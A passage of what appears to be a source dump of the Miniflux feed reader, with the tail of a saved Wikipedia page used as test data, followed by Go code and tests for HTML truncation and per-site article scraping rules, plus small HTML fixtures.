236.049     45 Modèle:Wikidata\n 52.35%  235.089      1 Modèle:Infobox_Logiciel\n 34.76%  156.108     23 Modèle:Infobox_V3/Tableau_Ligne_mixte\n 21.42%   96.191      1 Modèle:Ébauche\n 11.91%   53.472      1 Modèle:Palette\n 10.43%   46.825      1 Modèle:Palette_Agrégateurs\n  9.96%   44.723      1 Modèle:Méta_palette_de_navigation\n  8.15%   36.590     13 Modèle:Infobox_V3/Tableau_Ligne_mixte_Wikidata\n  8.02%   36.009      2 Modèle:Méta_palette_de_navigation_sous-groupe\n-->\n\n<!-- Saved in parser cache with key frwiki:pcache:idhash:7063156-0!canonical and timestamp 20240304111906 and revision id 204322562. Rendering was triggered because: page-view\n -->\n</div><!--esi <esi:include src=\"/esitest-fa8a495983347898/content\" /> --><noscript><img src=\"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/start?type=1x1\" alt=\"\" width=\"1\" height=\"1\" style=\"border: none; position: absolute;\"></noscript>\n<div class=\"printfooter\" data-nosnippet=\"\">Ce document provient de «&#160;<a dir=\"ltr\" href=\"https://fr.wikipedia.org/w/index.php?title=Miniflux&amp;oldid=204322562\">https://fr.wikipedia.org/w/index.php?title=Miniflux&amp;oldid=204322562</a>&#160;».</div></div>\n\t\t\t\t\t<div id=\"catlinks\" class=\"catlinks\" data-mw=\"interface\"><div id=\"mw-normal-catlinks\" class=\"mw-normal-catlinks\"><a href=\"/wiki/Cat%C3%A9gorie:Accueil\" title=\"Catégorie:Accueil\">Catégories</a> : <ul><li><a href=\"/wiki/Cat%C3%A9gorie:Logiciel_%C3%A9crit_en_Go\" title=\"Catégorie:Logiciel écrit en Go\">Logiciel écrit en Go</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Agr%C3%A9gateur\" title=\"Catégorie:Agrégateur\">Agrégateur</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Application_web\" title=\"Catégorie:Application web\">Application web</a></li></ul></div><div id=\"mw-hidden-catlinks\" class=\"mw-hidden-catlinks mw-hidden-cats-hidden\">Catégories cachées : <ul><li><a href=\"/wiki/Cat%C3%A9gorie:Wikip%C3%A9dia:%C3%A9bauche_Internet\" title=\"Catégorie:Wikipédia:ébauche Internet\">Wikipédia:ébauche Internet</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Article_manquant_de_r%C3%A9f%C3%A9rences_depuis_mars_2014\" title=\"Catégorie:Article manquant de références depuis mars 2014\">Article manquant de références depuis mars 2014</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Article_manquant_de_r%C3%A9f%C3%A9rences/Liste_compl%C3%A8te\" title=\"Catégorie:Article manquant de références/Liste complète\">Article manquant de références/Liste complète</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Page_utilisant_P348\" title=\"Catégorie:Page utilisant P348\">Page utilisant P348</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Page_utilisant_P1324\" title=\"Catégorie:Page utilisant P1324\">Page utilisant P1324</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Page_utilisant_P277\" title=\"Catégorie:Page utilisant P277\">Page utilisant P277</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Logiciel_cat%C3%A9goris%C3%A9_automatiquement_par_langage_d%27%C3%A9criture\" title=\"Catégorie:Logiciel catégorisé automatiquement par langage d&#039;écriture\">Logiciel catégorisé automatiquement par langage d'écriture</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Article_utilisant_une_Infobox\" title=\"Catégorie:Article utilisant une Infobox\">Article utilisant une Infobox</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Article_contenant_un_appel_%C3%A0_traduction_en_anglais\" title=\"Catégorie:Article contenant un appel à traduction en anglais\">Article contenant un appel à traduction en anglais</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Portail:Logiciels_libres/Articles_li%C3%A9s\" title=\"Catégorie:Portail:Logiciels libres/Articles liés\">Portail:Logiciels libres/Articles liés</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Portail:Logiciel/Articles_li%C3%A9s\" title=\"Catégorie:Portail:Logiciel/Articles liés\">Portail:Logiciel/Articles liés</a></li><li><a href=\"/wiki/Cat%C3%A9gorie:Portail:Informatique/Articles_li%C3%A9s\" title=\"Catégorie:Portail:Informatique/Articles liés\">Portail:Informatique/Articles liés</a></li></ul></div></div>\n\t\t\t\t</div>\n\t\t\t</main>\n\t\t\t\n\t\t</div>\n\t\t<div class=\"mw-footer-container\">\n\t\t\t\n<footer id=\"footer\" class=\"mw-footer\" role=\"contentinfo\" >\n\t<ul id=\"footer-info\">\n\t<li id=\"footer-info-lastmod\"> La dernière modification de cette page a été faite le 17 mai 2023 à 04:04.</li>\n\t<li id=\"footer-info-copyright\"><span style=\"white-space: normal\"><a class=\"internal\" href=\"/wiki/Wikip%C3%A9dia:Citation_et_r%C3%A9utilisation_du_contenu_de_Wikip%C3%A9dia\" title=\"Droit d'auteur\">Droit d'auteur</a> : les textes sont disponibles sous <a rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/4.0/deed.fr\" title=\"Licence Creative Commons Attribution - partage dans les mêmes conditions 4.0 international\">licence Creative Commons attribution, partage dans les mêmes conditions</a> ; d’autres conditions peuvent s’appliquer. Voyez les <a href=\"https://foundation.wikimedia.org/wiki/Policy:Terms_of_Use/fr\" title=\"Conditions d’utilisation de la Wikimedia Foundation\">conditions d’utilisation</a> pour plus de détails, ainsi que les <a class=\"internal\" href=\"/wiki/Wikip%C3%A9dia:Cr%C3%A9dits_graphiques\" title=\"Droit d'auteur de certaines icônes\">crédits graphiques</a>. En cas de réutilisation des textes de cette page, voyez <a class=\"internal\" href=\"/wiki/Sp%C3%A9cial:Citer/Miniflux\" title=\"Citer ou réutiliser cette page\">comment citer les auteurs et mentionner la licence</a>.<br />\nWikipedia® est une marque déposée de la <a href=\"https://wikimediafoundation.org/\" title=\"Wikimedia Foundation\">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class=\"internal\" href=\"/wiki/501c\" title=\"501c\">501(c)(3)</a> du code fiscal des États-Unis.</span><br /></li>\n</ul>\n\n\t<ul id=\"footer-places\">\n\t<li id=\"footer-places-privacy\"><a href=\"https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Privacy_policy/fr\">Politique de confidentialité</a></li>\n\t<li id=\"footer-places-about\"><a href=\"/wiki/Wikip%C3%A9dia:%C3%80_propos_de_Wikip%C3%A9dia\">À propos de Wikipédia</a></li>\n\t<li id=\"footer-places-disclaimers\"><a href=\"/wiki/Wikip%C3%A9dia:Avertissements_g%C3%A9n%C3%A9raux\">Avertissements</a></li>\n\t<li id=\"footer-places-contact\"><a href=\"//fr.wikipedia.org/wiki/Wikipédia:Contact\">Contact</a></li>\n\t<li id=\"footer-places-wm-codeofconduct\"><a href=\"https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Universal_Code_of_Conduct\">Code de conduite</a></li>\n\t<li id=\"footer-places-developers\"><a href=\"https://developer.wikimedia.org\">Développeurs</a></li>\n\t<li id=\"footer-places-statslink\"><a href=\"https://stats.wikimedia.org/#/fr.wikipedia.org\">Statistiques</a></li>\n\t<li id=\"footer-places-cookiestatement\"><a href=\"https://foundation.wikimedia.org/wiki/Special:MyLanguage/Policy:Cookie_statement\">Déclaration sur les témoins (cookies)</a></li>\n\t<li id=\"footer-places-mobileview\"><a href=\"//fr.m.wikipedia.org/w/index.php?title=Miniflux&amp;mobileaction=toggle_view_mobile\" class=\"noprint stopMobileRedirectToggle\">Version mobile</a></li>\n</ul>\n\n\t<ul id=\"footer-icons\" class=\"noprint\">\n\t<li id=\"footer-copyrightico\"><a href=\"https://wikimediafoundation.org/\"><img src=\"/static/images/footer/wikimedia-button.png\" srcset=\"/static/images/footer/wikimedia-button-1.5x.png 1.5x, /static/images/footer/wikimedia-button-2x.png 2x\" width=\"88\" height=\"31\" alt=\"Wikimedia Foundation\" loading=\"lazy\" /></a></li>\n\t<li id=\"footer-poweredbyico\"><a href=\"https://www.mediawiki.org/\"><img src=\"/static/images/footer/poweredby_mediawiki_88x31.png\" alt=\"Powered by MediaWiki\" srcset=\"/static/images/footer/poweredby_mediawiki_132x47.png 1.5x, /static/images/footer/poweredby_mediawiki_176x62.png 2x\" width=\"88\" height=\"31\" loading=\"lazy\"></a></li>\n</ul>\n\n</footer>\n\n\t\t</div>\n\t</div> \n</div> \n<div class=\"vector-settings\" id=\"p-dock-bottom\">\n\t<ul>\n\t\t<li>\n\t\t<button class=\"cdx-button cdx-button--icon-only vector-limited-width-toggle\" id=\"\"><span class=\"vector-icon mw-ui-icon-fullScreen mw-ui-icon-wikimedia-fullScreen\"></span>\n\n<span>Activer ou désactiver la limitation de largeur du contenu</span>\n</button>\n</li>\n\t</ul>\n</div>\n<script>(RLQ=window.RLQ||[]).push(function(){mw.config.set({\"wgHostname\":\"mw1401\",\"wgBackendResponseTime\":136,\"wgPageParseReport\":{\"limitreport\":{\"cputime\":\"0.369\",\"walltime\":\"0.494\",\"ppvisitednodes\":{\"value\":3432,\"limit\":1000000},\"postexpandincludesize\":{\"value\":58705,\"limit\":2097152},\"templateargumentsize\":{\"value\":16628,\"limit\":2097152},\"expansiondepth\":{\"value\":21,\"limit\":100},\"expensivefunctioncount\":{\"value\":6,\"limit\":500},\"unstrip-depth\":{\"value\":0,\"limit\":20},\"unstrip-size\":{\"value\":2070,\"limit\":5000000},\"entityaccesscount\":{\"value\":1,\"limit\":400},\"timingprofile\":[\"100.00%  449.099      1 -total\",\" 52.56%  236.049     45 Modèle:Wikidata\",\" 52.35%  235.089      1 Modèle:Infobox_Logiciel\",\" 34.76%  156.108     23 Modèle:Infobox_V3/Tableau_Ligne_mixte\",\" 21.42%   96.191      1 Modèle:Ébauche\",\" 11.91%   53.472      1 Modèle:Palette\",\" 10.43%   46.825      1 Modèle:Palette_Agrégateurs\",\"  9.96%   44.723      1 Modèle:Méta_palette_de_navigation\",\"  8.15%   36.590     13 Modèle:Infobox_V3/Tableau_Ligne_mixte_Wikidata\",\"  8.02%   36.009      2 Modèle:Méta_palette_de_navigation_sous-groupe\"]},\"scribunto\":{\"limitreport-timeusage\":{\"value\":\"0.226\",\"limit\":\"10.000\"},\"limitreport-memusage\":{\"value\":10407160,\"limit\":52428800}},\"cachereport\":{\"origin\":\"mw-web.eqiad.canary-7c9994f4f8-6g6bc\",\"timestamp\":\"20240304111906\",\"ttl\":2592000,\"transientcontent\":false}}});});</script>\n<script type=\"application/ld+json\">{\"@context\":\"https:\\/\\/schema.org\",\"@type\":\"Article\",\"name\":\"Miniflux\",\"url\":\"https:\\/\\/fr.wikipedia.org\\/wiki\\/Miniflux\",\"sameAs\":\"http:\\/\\/www.wikidata.org\\/entity\\/Q16664605\",\"mainEntity\":\"http:\\/\\/www.wikidata.org\\/entity\\/Q16664605\",\"author\":{\"@type\":\"Organization\",\"name\":\"Contributeurs aux projets Wikimedia\"},\"publisher\":{\"@type\":\"Organization\",\"name\":\"Fondation Wikimedia, Inc.\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https:\\/\\/www.wikimedia.org\\/static\\/images\\/wmf-hor-googpub.png\"}},\"datePublished\":\"2013-04-14T21:28:24Z\",\"dateModified\":\"2023-05-17T03:04:00Z\",\"headline\":\"lecteur RSS pour serveur Web en Golang\"}</script>\n</body>\n</html>"
  },
  {
    "path": "internal/reader/sanitizer/truncate.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer\n\nimport \"strings\"\n\nfunc TruncateHTML(input string, max int) string {\n\ttext := StripTags(input)\n\n\t// Collapse multiple spaces into a single space\n\ttext = strings.Join(strings.Fields(text), \" \")\n\n\t// Convert to runes to be safe with unicode\n\trunes := []rune(text)\n\tif len(runes) > max {\n\t\treturn strings.TrimSpace(string(runes[:max])) + \"…\"\n\t}\n\n\treturn text\n}\n"
  },
  {
    "path": "internal/reader/sanitizer/truncate_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage sanitizer\n\nimport \"testing\"\n\nfunc TestTruncateHTMWithTextLowerThanLimitL(t *testing.T) {\n\tinput := `This is a <strong>bug 🐛</strong>.`\n\texpected := `This is a bug 🐛.`\n\toutput := TruncateHTML(input, 50)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestTruncateHTMLWithTextAboveLimit(t *testing.T) {\n\tinput := `This is <strong>HTML</strong>.`\n\texpected := `This…`\n\toutput := TruncateHTML(input, 4)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestTruncateHTMLWithUnicodeTextAboveLimit(t *testing.T) {\n\tinput := `This is a <strong>bike 🚲</strong>.`\n\texpected := `This…`\n\toutput := TruncateHTML(input, 4)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestTruncateHTMLWithMultilineTextAboveLimit(t *testing.T) {\n\tinput := `\n\t\tThis is a <strong>bike\n\t\t🚲</strong>.\n\n\t`\n\texpected := `This is a bike…`\n\toutput := TruncateHTML(input, 15)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestTruncateHTMLWithMultilineTextLowerThanLimit(t *testing.T) {\n\tinput := `\n\t\tThis is a <strong>bike\n 🚲</strong>.\n\n\t`\n\texpected := `This is a bike 🚲.`\n\toutput := TruncateHTML(input, 20)\n\n\tif expected != output {\n\t\tt.Errorf(`Wrong output: %q != %q`, expected, output)\n\t}\n}\n\nfunc TestTruncateHTMLWithMultipleSpaces(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tinput    string\n\t\tmaxLen   int\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"multiple spaces\",\n\t\t\tinput:    \"hello    world   test\",\n\t\t\tmaxLen:   20,\n\t\t\texpected: \"hello world test\",\n\t\t},\n\t\t{\n\t\t\tname:     \"tabs and newlines\",\n\t\t\tinput:    \"hello\\t\\tworld\\n\\ntest\",\n\t\t\tmaxLen:   20,\n\t\t\texpected: \"hello world test\",\n\t\t},\n\t\t{\n\t\t\tname:     \"truncation with unicode\",\n\t\t\tinput:    \"hello world 你好\",\n\t\t\tmaxLen:   11,\n\t\t\texpected: \"hello world…\",\n\t\t},\n\t\t{\n\t\t\tname:     \"html stripping\",\n\t\t\tinput:    \"<p>hello    <b>world</b>   test</p>\",\n\t\t\tmaxLen:   20,\n\t\t\texpected: \"hello world test\",\n\t\t},\n\t\t{\n\t\t\tname:     \"no truncation needed\",\n\t\t\tinput:    \"hello world\",\n\t\t\tmaxLen:   20,\n\t\t\texpected: \"hello world\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tresult := TruncateHTML(tt.input, tt.maxLen)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Errorf(\"TruncateHTML(%q, %d) = %q, want %q\",\n\t\t\t\t\ttt.input, tt.maxLen, result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/reader/scraper/rules.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage scraper // import \"miniflux.app/v2/internal/reader/scraper\"\n\n// List of predefined scraper rules (alphabetically sorted)\n// domain => CSS selectors\nvar predefinedRules = map[string]string{\n\t\"arstechnica.com\":      \"div.post-content\",\n\t\"bbc.co.uk\":            \"div.vxp-column--single, div.story-body__inner, ul.gallery-images__list\",\n\t\"bleepingcomputer.com\": \".articleBody\",\n\t\"blog.cloudflare.com\":  \"div.post-content\",\n\t\"cbc.ca\":               \".story-content\",\n\t\"darkreading.com\":      \"div.ArticleBase-Body\",\n\t\"developpez.com\":       \"div[itemprop=articleBody]\",\n\t\"dilbert.com\":          \"span.comic-title-name, img.img-comic\",\n\t\"explosm.net\":          \"div#comic\",\n\t\"financialsamurai.com\": \"article\",\n\t\"francetvinfo.fr\":      \".text\",\n\t\"github.com\":           \"article.entry-content\",\n\t\"heise.de\":             \"header .article-content__lead, header .article-image, div.article-layout__content.article-content\",\n\t\"igen.fr\":              \"section.corps\",\n\t\"ikiwiki.iki.fi\":       \".page.group\",\n\t\"ilpost.it\":            \".entry-content\",\n\t\"ing.dk\":               \"section.body\",\n\t\"lapresse.ca\":          \".amorce, .entry\",\n\t\"lemonde.fr\":           \"article\",\n\t\"lepoint.fr\":           \".art-text\",\n\t\"lesjoiesducode.fr\":    \".blog-post-content img\",\n\t\"lesnumeriques.com\":    \".text\",\n\t\"linux.com\":            \"div.content, div[property]\",\n\t\"mac4ever.com\":         \"div[itemprop=articleBody]\",\n\t\"monwindows.com\":       \".blog-post-body\",\n\t\"npr.org\":              \"#storytext\",\n\t\"oneindia.com\":         \".io-article-body\",\n\t\"opensource.com\":       \"div[property]\",\n\t\"openingsource.org\":    \"article.suxing-popup-gallery\",\n\t\"osnews.com\":           \"div.newscontent1\",\n\t\"phoronix.com\":         \"div.content\",\n\t\"pitchfork.com\":        \"#main-content\",\n\t\"pseudo-sciences.org\":  \"#art_main\",\n\t\"quantamagazine.org\":   \".outer--content, figure, script\",\n\t\"raywenderlich.com\":    \"article\",\n\t\"royalroad.com\":        \".author-note-portlet,.chapter-content\",\n\t\"slate.fr\":             \".field-items\",\n\t\"smbc-comics.com\":      \"div#cc-comicbody, div#aftercomic\",\n\t\"swordscomic.com\":      \"img#comic-image, div#info-frame.tab-content-area\",\n\t\"techcrunch.com\":       \"div.entry-content\",\n\t\"theoatmeal.com\":       \"div#comic\",\n\t\"theregister.com\":      \"#top-col-story h2, #body\",\n\t\"theverge.com\":         \"h2.inline:nth-child(2),h2.duet--article--dangerously-set-cms-markup,figure.w-full,div.duet--article--article-body-component\",\n\t\"turnoff.us\":           \"article.post-content\",\n\t\"universfreebox.com\":   \"#corps_corps\",\n\t\"version2.dk\":          \"section.body\",\n\t\"vnexpress.net\":        \".detail-new p.description, article.fck_detail\",\n\t\"wdwnt.com\":            \"div.entry-content\",\n\t\"webtoons.com\":         \".viewer_img,p.author_text\",\n\t\"wired.com\":            \"main figure, article\",\n\t\"zeit.de\":              \".summary, .article-body\",\n\t\"zdnet.com\":            \"div.storyBody\",\n}\n"
  },
  {
    "path": "internal/reader/scraper/scraper.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage scraper // import \"miniflux.app/v2/internal/reader/scraper\"\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/reader/encoding\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/readability\"\n\t\"miniflux.app/v2/internal/urllib\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n)\n\nfunc ScrapeWebsite(requestBuilder *fetcher.RequestBuilder, pageURL, rules string) (baseURL string, extractedContent string, err error) {\n\tresponseHandler := fetcher.NewResponseHandler(requestBuilder.ExecuteRequest(pageURL))\n\tdefer responseHandler.Close()\n\n\tif localizedError := responseHandler.LocalizedError(); localizedError != nil {\n\t\tslog.Warn(\"Unable to scrape website\", slog.String(\"website_url\", pageURL), slog.Any(\"error\", localizedError.Error()))\n\t\treturn \"\", \"\", localizedError.Error()\n\t}\n\n\tif !isAllowedContentType(responseHandler.ContentType()) {\n\t\treturn \"\", \"\", fmt.Errorf(\"scraper: this resource is not a HTML document (%s)\", responseHandler.ContentType())\n\t}\n\n\t// The entry URL could redirect somewhere else.\n\tsameSite := urllib.Domain(pageURL) == urllib.Domain(responseHandler.EffectiveURL())\n\tpageURL = responseHandler.EffectiveURL()\n\n\tif rules == \"\" {\n\t\trules = getPredefinedScraperRules(pageURL)\n\t}\n\n\thtmlDocumentReader, err := encoding.NewCharsetReader(\n\t\tresponseHandler.Body(config.Opts.HTTPClientMaxBodySize()),\n\t\tresponseHandler.ContentType(),\n\t)\n\n\tif err != nil {\n\t\treturn \"\", \"\", fmt.Errorf(\"scraper: unable to read HTML document with charset reader: %v\", err)\n\t}\n\n\tif sameSite && rules != \"\" {\n\t\tslog.Debug(\"Extracting content with custom rules\",\n\t\t\t\"url\", pageURL,\n\t\t\t\"rules\", rules,\n\t\t)\n\t\tbaseURL, extractedContent, err = findContentUsingCustomRules(htmlDocumentReader, rules)\n\t} else {\n\t\tslog.Debug(\"Extracting content with readability\",\n\t\t\t\"url\", pageURL,\n\t\t)\n\t\tbaseURL, extractedContent, err = readability.ExtractContent(htmlDocumentReader)\n\t}\n\n\tif baseURL == \"\" {\n\t\tbaseURL = pageURL\n\t} else {\n\t\tslog.Debug(\"Using base URL from HTML document\", \"base_url\", baseURL)\n\t}\n\n\treturn baseURL, extractedContent, nil\n}\n\nfunc findContentUsingCustomRules(page io.Reader, rules string) (baseURL string, extractedContent string, err error) {\n\tdocument, err := goquery.NewDocumentFromReader(page)\n\tif err != nil {\n\t\treturn \"\", \"\", err\n\t}\n\n\tif hrefValue, exists := document.FindMatcher(goquery.Single(\"head base\")).Attr(\"href\"); exists {\n\t\threfValue = strings.TrimSpace(hrefValue)\n\t\tif urllib.IsAbsoluteURL(hrefValue) {\n\t\t\tbaseURL = hrefValue\n\t\t}\n\t}\n\n\tdocument.Find(rules).Each(func(i int, s *goquery.Selection) {\n\t\tif content, err := goquery.OuterHtml(s); err == nil {\n\t\t\textractedContent += content\n\t\t}\n\t})\n\n\treturn baseURL, extractedContent, nil\n}\n\nfunc getPredefinedScraperRules(websiteURL string) string {\n\turlDomain := urllib.DomainWithoutWWW(websiteURL)\n\n\tif rules, ok := predefinedRules[urlDomain]; ok {\n\t\treturn rules\n\t}\n\treturn \"\"\n}\n\nfunc isAllowedContentType(contentType string) bool {\n\tcontentType = strings.ToLower(contentType)\n\treturn strings.HasPrefix(contentType, \"text/html\") ||\n\t\tstrings.HasPrefix(contentType, \"application/xhtml+xml\")\n}\n"
  },
  {
    "path": "internal/reader/scraper/scraper_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage scraper // import \"miniflux.app/v2/internal/reader/scraper\"\n\nimport (\n\t\"bytes\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestGetPredefinedRules(t *testing.T) {\n\tif getPredefinedScraperRules(\"http://www.phoronix.com/\") == \"\" {\n\t\tt.Error(\"Unable to find rule for phoronix.com\")\n\t}\n\n\tif getPredefinedScraperRules(\"https://www.linux.com/\") == \"\" {\n\t\tt.Error(\"Unable to find rule for linux.com\")\n\t}\n\n\tif getPredefinedScraperRules(\"https://linux.com/\") == \"\" {\n\t\tt.Error(\"Unable to find rule for linux.com\")\n\t}\n\n\tif getPredefinedScraperRules(\"https://example.org/\") != \"\" {\n\t\tt.Error(\"A rule not defined should not return anything\")\n\t}\n}\n\nfunc TestWhitelistedContentTypes(t *testing.T) {\n\tscenarios := map[string]bool{\n\t\t\"text/html\":                            true,\n\t\t\"TeXt/hTmL\":                            true,\n\t\t\"application/xhtml+xml\":                true,\n\t\t\"text/html; charset=utf-8\":             true,\n\t\t\"application/xhtml+xml; charset=utf-8\": true,\n\t\t\"text/css\":                             false,\n\t\t\"application/javascript\":               false,\n\t\t\"image/png\":                            false,\n\t\t\"application/pdf\":                      false,\n\t}\n\n\tfor inputValue, expectedResult := range scenarios {\n\t\tactualResult := isAllowedContentType(inputValue)\n\t\tif actualResult != expectedResult {\n\t\t\tt.Errorf(`Unexpected result for content type whitelist, got \"%v\" instead of \"%v\"`, actualResult, expectedResult)\n\t\t}\n\t}\n}\n\nfunc TestSelectorRules(t *testing.T) {\n\tvar ruleTestCases = map[string]string{\n\t\t\"img.html\":    \"article > img\",\n\t\t\"iframe.html\": \"article > iframe\",\n\t\t\"p.html\":      \"article > p\",\n\t}\n\n\tfor filename, rule := range ruleTestCases {\n\t\thtml, err := os.ReadFile(\"testdata/\" + filename)\n\t\tif err != nil {\n\t\t\tt.Fatalf(`Unable to read file %q: %v`, filename, err)\n\t\t}\n\n\t\t_, actualResult, err := findContentUsingCustomRules(bytes.NewReader(html), rule)\n\t\tif err != nil {\n\t\t\tt.Fatalf(`Scraping error for %q - %q: %v`, filename, rule, err)\n\t\t}\n\n\t\texpectedResult, err := os.ReadFile(\"testdata/\" + filename + \"-result\")\n\t\tif err != nil {\n\t\t\tt.Fatalf(`Unable to read file %q: %v`, filename, err)\n\t\t}\n\n\t\tif actualResult != strings.TrimSpace(string(expectedResult)) {\n\t\t\tt.Errorf(`Unexpected result for %q, got %q instead of %q`, rule, actualResult, expectedResult)\n\t\t}\n\t}\n}\n\nfunc TestParseBaseURLWithCustomRules(t *testing.T) {\n\thtml := `<html><head><base href=\"https://example.com/\"></head><body><img src=\"image.jpg\"></body></html>`\n\tbaseURL, _, err := findContentUsingCustomRules(strings.NewReader(html), \"img\")\n\tif err != nil {\n\t\tt.Fatalf(`Scraping error: %v`, err)\n\t}\n\n\tif baseURL != \"https://example.com/\" {\n\t\tt.Errorf(`Unexpected base URL, got %q instead of \"https://example.com/\"`, baseURL)\n\t}\n}\n\nfunc TestParseMultipleBaseURLWithCustomRules(t *testing.T) {\n\thtml := `<html><head><base href=\"https://example.com/\"><base href=\"https://example.org/\"/></head><body><img src=\"image.jpg\"></body></html>`\n\tbaseURL, _, err := findContentUsingCustomRules(strings.NewReader(html), \"img\")\n\tif err != nil {\n\t\tt.Fatalf(`Scraping error: %v`, err)\n\t}\n\n\tif baseURL != \"https://example.com/\" {\n\t\tt.Errorf(`Unexpected base URL, got %q instead of \"https://example.com/\"`, baseURL)\n\t}\n}\n\nfunc TestParseRelativeBaseURLWithCustomRules(t *testing.T) {\n\thtml := `<html><head><base href=\"/test\"></head><body><img src=\"image.jpg\"></body></html>`\n\tbaseURL, _, err := findContentUsingCustomRules(strings.NewReader(html), \"img\")\n\tif err != nil {\n\t\tt.Fatalf(`Scraping error: %v`, err)\n\t}\n\n\tif baseURL != \"\" {\n\t\tt.Errorf(`Unexpected base URL, got %q`, baseURL)\n\t}\n}\n\nfunc TestParseEmptyBaseURLWithCustomRules(t *testing.T) {\n\thtml := `<html><head><base href=\" \"></head><body><img src=\"image.jpg\"></body></html>`\n\tbaseURL, _, err := findContentUsingCustomRules(strings.NewReader(html), \"img\")\n\tif err != nil {\n\t\tt.Fatalf(`Scraping error: %v`, err)\n\t}\n\n\tif baseURL != \"\" {\n\t\tt.Errorf(`Unexpected base URL, got %q instead of \"\"`, baseURL)\n\t}\n}\n\nfunc TestParseMissingBaseURLWithCustomRules(t *testing.T) {\n\thtml := `<html><head></head><body><img src=\"image.jpg\"></body></html>`\n\tbaseURL, _, err := findContentUsingCustomRules(strings.NewReader(html), \"img\")\n\tif err != nil {\n\t\tt.Fatalf(`Scraping error: %v`, err)\n\t}\n\n\tif baseURL != \"\" {\n\t\tt.Errorf(`Unexpected base URL, got %q instead of \"\"`, baseURL)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/scraper/testdata/iframe.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en-US\">\n\t<body>\n\t\t<article>\n\t\t\t<iframe id=\"1\" src=\"about:blank\"></iframe>\n\t\t\t<iframe id=\"2\" src=\"about:blank\"></iframe>\n\t\t\t<iframe id=\"3\" src=\"about:blank\"></iframe>\n\t\t\t<iframe id=\"4\" src=\"about:blank\"></iframe>\n\t\t\t<iframe id=\"5\" src=\"about:blank\"></iframe>\n\t\t</article>\n\t</body>\n</html>\n"
  },
  {
    "path": "internal/reader/scraper/testdata/iframe.html-result",
    "content": "<iframe id=\"1\" src=\"about:blank\"></iframe><iframe id=\"2\" src=\"about:blank\"></iframe><iframe id=\"3\" src=\"about:blank\"></iframe><iframe id=\"4\" src=\"about:blank\"></iframe><iframe id=\"5\" src=\"about:blank\"></iframe>\n"
  },
  {
    "path": "internal/reader/scraper/testdata/img.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en-US\">\n\t<body>\n\t\t<article>\n\t\t\t<img id=\"1\" src=\"#\" alt=\"\" />\n\t\t\t<img id=\"2\" src=\"#\" alt=\"\" />\n\t\t\t<img id=\"3\" src=\"#\" alt=\"\" />\n\t\t\t<img id=\"4\" src=\"#\" alt=\"\" />\n\t\t\t<img id=\"5\" src=\"#\" alt=\"\" />\n\t\t</article>\n\t</body>\n</html>\n"
  },
  {
    "path": "internal/reader/scraper/testdata/img.html-result",
    "content": "<img id=\"1\" src=\"#\" alt=\"\"/><img id=\"2\" src=\"#\" alt=\"\"/><img id=\"3\" src=\"#\" alt=\"\"/><img id=\"4\" src=\"#\" alt=\"\"/><img id=\"5\" src=\"#\" alt=\"\"/>\n"
  },
  {
    "path": "internal/reader/scraper/testdata/p.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en-US\">\n\t<body>\n\t\t<article>\n\t\t\t<p>Lorem ipsum dolor sit amet, consectetuer adipiscing ept.</p>\n\t\t\t<p>Apquam tincidunt mauris eu risus.</p>\n\t\t\t<p>Vestibulum auctor dapibus neque.</p>\n\t\t</article>\n\t</body>\n</html>\n"
  },
  {
    "path": "internal/reader/scraper/testdata/p.html-result",
